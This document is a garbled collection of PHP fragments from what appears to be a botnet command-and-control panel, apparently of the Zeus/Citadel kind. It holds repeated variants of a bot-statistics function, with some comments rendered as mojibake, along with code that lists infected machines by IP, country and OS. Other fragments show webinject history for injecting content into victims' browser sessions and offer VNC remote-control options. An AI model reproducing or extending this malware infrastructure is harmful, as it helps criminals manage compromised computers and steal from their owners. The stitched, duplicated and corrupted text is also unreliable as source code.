function getBotnetStats($botnet, $i) { $query1 = ''; $query2 = ''; if ($botnet != '') { $botnet = addslashes($botnet); $query1 = " WHERE `botnet`='{$botnet}'"; $query2 = " AND `botnet`='{$botnet}'"; } //RљRѕR "Republic ‡ RμS, SЃRІRѕ P ± RѕS, RѕRІ, Fe RІSЂRμRјSЏ RїRμSЂRІRѕRіRѕ RѕS, C ‡ RμS, P °. $tmp = htmlEntitiesEx(($mt = @mysql_fetch_row(mysqlQueryEx('botnet_list', "SELECT MIN(`rtime_first`), COUNT(`bot_id`), MIN(`bot_version`), MAX(`bot_version`) FROM `botnet_list`{$query1}"))) && $mt[0] > 0 ? gmdate(LNG_FORMAT_DT, $mt[0]) : '-'); $data = THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_FIRST_BOT), $i == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $tmp), $i == 0 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_BOTS), $i == 0 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($mt[1])), $i == 0 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END; $totalBots = $mt[1]; $minVersion = $mt[2]; $maxVersion = $mt[3]; //RљRѕR "Republic ‡ RμS, SЃRІRѕ P ± RѕS, RѕRІ P ° RєS, ReRІRЅS <C ... P · P ° RїRѕSЃR" RμRґRЅReRe 24 C ‡ P ° SЃR °. $tmp = ($mt = @mysql_fetch_row(mysqlQueryEx('botnet_list', 'SELECT COUNT(`bot_id`) FROM `botnet_list` WHERE `rtime_last`>=' . (CURRENT_TIME - 86400) . $query2))) ? $mt[0] : 0; $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_BOTS24), $i == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, ($totalBots > 0 ? numberFormatAsFloat($tmp * 100 / $totalBots, 2) : 0) . '% - ' . numberFormatAsInt($tmp)), $i == 0 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . THEME_LIST_ROW_END; //RњR RєSЃReRјR ° ° p "° SЊRЅR SЏ Re RјReRЅReRјR ° p" ° SЊRЅR SЏ RІRμSЂSЃReSЏ P ± RѕS, P °. $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_MIN_VERSION), $i == 0 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, intToVersion($minVersion)), $i == 0 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_MAX_VERSION), $i == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, intToVersion($maxVersion)), $i == 0 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . THEME_LIST_ROW_END; return $data; }
}); </script> HTML; $data .= str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTID), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $botDisplay), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END; //Базовая информация. $isExists = isset($res[$bot]); if (!$isExists) { $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BA_FULLINFO_EMPTY), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } else { $l = $res[$bot]; $eCount++; $ipv4 = binaryIpToString($l['ipv4']); if ($l['nat_status'] == 0) { $ipv4 .= '*'; } $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTNET), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['botnet'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_FLAGS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['flags'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_VERSION), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($l['bot_version'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', osDataToString($l['os_version'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OSLANG), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['language_id'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TIMEBIAS), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', timeBiasToText($l['time_localbias'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COUNTRY), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['country'])), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_IPV4), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_LATENCY), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($l['net_latency'] / 1000, 3)), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TCPPORT_S1), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($l['tcpport_s1'])), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TFIRST), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_first']))), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TLAST), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $l['rtime_last']))), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TONLINE), THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['is_online'] == 1 ? tickCountToText(CURRENT_TIME - $l['rtime_online']) : LNG_FORMAT_NOTIME), THEME_LIST_ITEM_LTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_NEW), THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_new'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_USED), THEME_LIST_ITEM_LTEXT_U2) . ($bedit ? str_replace(array('{NAME}', '{WIDTH}'), array('used[]', 'auto'), THEME_LIST_ITEM_LISTBOX_U2_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_NO), $l['flag_used'] != 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_YES), $l['flag_used'] == 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM) . THEME_LIST_ITEM_LISTBOX_U2_END : str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_used'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U2)) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COMMENT), THEME_LIST_ITEM_LTEXT_U1) . ($bedit ? str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('comment[]', htmlEntitiesEx($l['comment']), 250, '99%'), THEME_LIST_ITEM_INPUT_TEXT_U1) : str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($l['comment']) ? '-' : htmlEntitiesEx($l['comment'])), THEME_LIST_ITEM_LTEXT_U1)) . THEME_LIST_ROW_END; $data .= '<tr><td colspan=2>' . vncplugin_draw_connect_options($bot) . '</td></tr>'; /* plugin: webinjects */ if (file_exists('system/botnet_webinjects.php')) { require_once 'system/lib/dbpdo.php'; require_once 'system/lib/guiutil.php'; $db = dbPDO::singleton(); $q_execs = $db->query('SELECT `b`.`name` AS `b_name`, `h`.`etime`, `h`.`exec_error`, `h`.`debug_error` FROM `botnet_webinjects_history` `h` LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`) WHERE `h`.`botId` = :botId ;', array(':botId' => $bot));
$offset = ($curPage - 1) * BOTS_PER_PAGE; if (!$r || !($r = mysqlQueryEx('botnet_list', 'SELECT `bot_id`, `botnet`, `bot_version`, LOCATE(`ipv4`, `ipv4_list`), `ipv4`, `country`, `rtime_online`, IF(`rtime_last`>=' . ONLINE_TIME_MIN . ', 1, 0), `net_latency`, `comment` FROM `botnet_list` ' . $query2 . ' LIMIT ' . $offset . ', ' . BOTS_PER_PAGE)) || @mysql_affected_rows() === 0) { $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } else { $i = 0; while ($mt = @mysql_fetch_row($r)) { //IPv4. $ipv4 = binaryIpToString($mt[4]); //Метка NAT. if ($mt[3] == 0) { $ipv4 .= '*'; } $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; $themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1; $themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1; $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText) . THEME_LIST_ROW_END; $i++; } } /////////////////////////////////////////////////////////////////////////////////////////////////// // Создание списока дейтвий. /////////////////////////////////////////////////////////////////////////////////////////////////// $actions = ''; if ($pageCount > 0 && count($botMenu) > 0) { $data = LNG_BOTNET_BOTSACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('botsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN); foreach ($botMenu as $item) { $data .= str_replace(array('{VALUE}', '{TEXT}'), array($item[0], $item[1]), THEME_DIALOG_ITEM_LISTBOX_ITEM); } $data .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMITMINI); $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $data, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END; }
function getBotnetStats($botnet, $i) { $query1 = ''; $query2 = ''; if ($botnet != '') { $botnet = addslashes($botnet); $query1 = " WHERE `botnet`='{$botnet}'"; $query2 = " AND `botnet`='{$botnet}'"; } //Количетсво ботов, и время первого отчета. $tmp = htmlEntitiesEx(($mt = @mysql_fetch_row(mysqlQueryEx('botnet_list', "SELECT MIN(`rtime_first`), COUNT(`bot_id`), MIN(`bot_version`), MAX(`bot_version`) FROM `botnet_list`{$query1}"))) && $mt[0] > 0 ? gmdate(LNG_FORMAT_DT, $mt[0]) : '-'); $data = THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_FIRST_BOT), $i == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $tmp), $i == 0 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_BOTS), $i == 0 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($mt[1])), $i == 0 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END; $totalBots = $mt[1]; $minVersion = $mt[2]; $maxVersion = $mt[3]; //Количетсво ботов активных за последнии 24 часа. $tmp = ($mt = @mysql_fetch_row(mysqlQueryEx('botnet_list', 'SELECT COUNT(`bot_id`) FROM `botnet_list` WHERE `rtime_last`>=' . (CURRENT_TIME - 86400) . $query2))) ? $mt[0] : 0; $totalBots = '<a href="#" id="tr-botnet_activity">' . ($totalBots > 0 ? numberFormatAsFloat($tmp * 100 / $totalBots, 2) : 0) . '% - ' . numberFormatAsInt($tmp) . '</a>'; $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_BOTS24), $i == 0 ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $totalBots), $i == 0 ? THEME_LIST_ITEM_RTEXT_U1 : THEME_LIST_ITEM_RTEXT_U2) . THEME_LIST_ROW_END; $data .= '<tr><td id="botnet_activity" style="display: none;"> <h3>' . LNG_STATS_ACTIVITY . '</h3> <ul class="tabs"> <li><a href="?' . mkuri(1, 'm') . '&ajax=botnet_activity&days=7">' . LNG_STATS_ACTIVITY_7DAYS . '</a></li> <li><a href="?' . mkuri(1, 'm') . '&ajax=botnet_activity&days=14">' . LNG_STATS_ACTIVITY_14DAYS . '</a></li> <li><a href="?' . mkuri(1, 'm') . '&ajax=botnet_activity&days=30">' . LNG_STATS_ACTIVITY_30DAYS . '</a></li> </ul> <div class="display"> </div> </td></tr> '; //Максимальная и минимальная версия бота. $botVersions = intToVersion($minVersion) . ' — ' . intToVersion($maxVersion); $botVersions = '<a href="#" id="botVersions">' . $botVersions . '</a>'; $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_VERSIONS), $i == 0 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $botVersions), $i == 0 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END; require_once "system/lib/db.php"; require_once "system/lib/guiutil.php"; $data .= jsonset(array('window.botVersions' => array())); foreach (array(0 => 0, 1 => time() - 60 * 60 * 24, 2 => time() - 60 * 60 * 24 * 7, 3 => time() - 60 * 60 * 24 * 31) as $id => $rtime_last) { $R = mysql_q(mkquery('SELECT `bot_version` AS `v`, COUNT(*) AS `n` FROM `botnet_list` WHERE `rtime_last` >= {i:rtime_last} GROUP BY `v` ORDER BY `n` DESC, `v` DESC ', array('rtime_last' => $rtime_last))); $versions = array(); while ($R && !is_bool($r = mysql_fetch_assoc($R))) { $versions[] = array(intToVersion($r['v']), (int) $r['n']); } $data .= jsonset(array('window.botVersions[' . $id . ']' => $versions)); } $ul = ''; $ul .= '<li><a href="#" data-id="0">' . LNG_STATS_TOTAL_VERSIONS_ALL . '</a>'; $ul .= '<li><a href="#" data-id="1">' . LNG_STATS_TOTAL_VERSIONS_DAY . '</a>'; $ul .= '<li><a href="#" data-id="2">' . LNG_STATS_TOTAL_VERSIONS_WEEK . '</a>'; $ul .= '<li><a href="#" data-id="3">' . LNG_STATS_TOTAL_VERSIONS_MONTH . '</a>'; $data .= <<<HTML <tr><td id="botVersions-td" style="display:none;"> \t\t<div id="botVersions-Display" class="clearfix"> \t\t\t<div class="pie"></div> \t\t\t<div class="table"></div> \t\t\t</div> \t\t<ul class="period"> \t\t\t{$ul} \t\t\t</ul> \t</td></tr> <script type="text/javascript" src="https://www.google.com/jsapi"></script> <script src="theme/js/page-stats_main.js"></script> HTML; return $data; }
function getBotnetStats($botnet, $i) { $query1 = ''; $query2 = ''; if ($botnet != '') { $botnet = addslashes($botnet); $query1 = " WHERE `botnet`='{$botnet}'"; $query2 = " AND `botnet`='{$botnet}'"; } //Количетсво ботов, и время первого отчета. $tmp = htmlEntitiesEx(($mt = @mysql_fetch_row(mysqlQueryEx('botnet_list', "SELECT MIN(`rtime_first`), COUNT(`bot_id`), MIN(`bot_version`), MAX(`bot_version`) FROM `botnet_list`{$query1}"))) && $mt[0] > 0 ? gmdate(LNG_FORMAT_DT, $mt[0]) : '-'); $data = THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_FIRST_BOT), $i == 0 ? THEME_LIST_ITEM_INFO_L1 : THEME_LIST_ITEM_INFO_L2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, $tmp), $i == 0 ? THEME_LIST_ITEM_INFO_R1 : THEME_LIST_ITEM_INFO_R2) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_BOTS), $i == 0 ? THEME_LIST_ITEM_INFO_L2 : THEME_LIST_ITEM_INFO_L1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($mt[1])), $i == 0 ? THEME_LIST_ITEM_INFO_R2 : THEME_LIST_ITEM_INFO_R1) . THEME_LIST_ROW_END; $totalBots = $mt[1]; $minVersion = $mt[2]; $maxVersion = $mt[3]; //Количетсво ботов активных за последнии 24 часа. $tmp = ($mt = @mysql_fetch_row(mysqlQueryEx('botnet_list', 'SELECT COUNT(`bot_id`) FROM `botnet_list` WHERE `rtime_last`>=' . (CURRENT_TIME - 86400) . $query2))) ? $mt[0] : 0; $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_BOTS24), $i == 0 ? THEME_LIST_ITEM_INFO_L1 : THEME_LIST_ITEM_INFO_L2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, ($totalBots > 0 ? numberFormatAsFloat($tmp * 100 / $totalBots, 2) : 0) . '% - ' . numberFormatAsInt($tmp)), $i == 0 ? THEME_LIST_ITEM_INFO_R1 : THEME_LIST_ITEM_INFO_R2) . THEME_LIST_ROW_END; //Максимальная и минимальная версия бота. $data .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_MIN_VERSION), $i == 0 ? THEME_LIST_ITEM_INFO_L2 : THEME_LIST_ITEM_INFO_L1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, intToVersion($minVersion)), $i == 0 ? THEME_LIST_ITEM_INFO_R2 : THEME_LIST_ITEM_INFO_R1) . THEME_LIST_ROW_END . THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_MAX_VERSION), $i == 0 ? THEME_LIST_ITEM_INFO_L1 : THEME_LIST_ITEM_INFO_L2) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, intToVersion($maxVersion)), $i == 0 ? THEME_LIST_ITEM_INFO_R1 : THEME_LIST_ITEM_INFO_R2) . THEME_LIST_ROW_END; return $data; }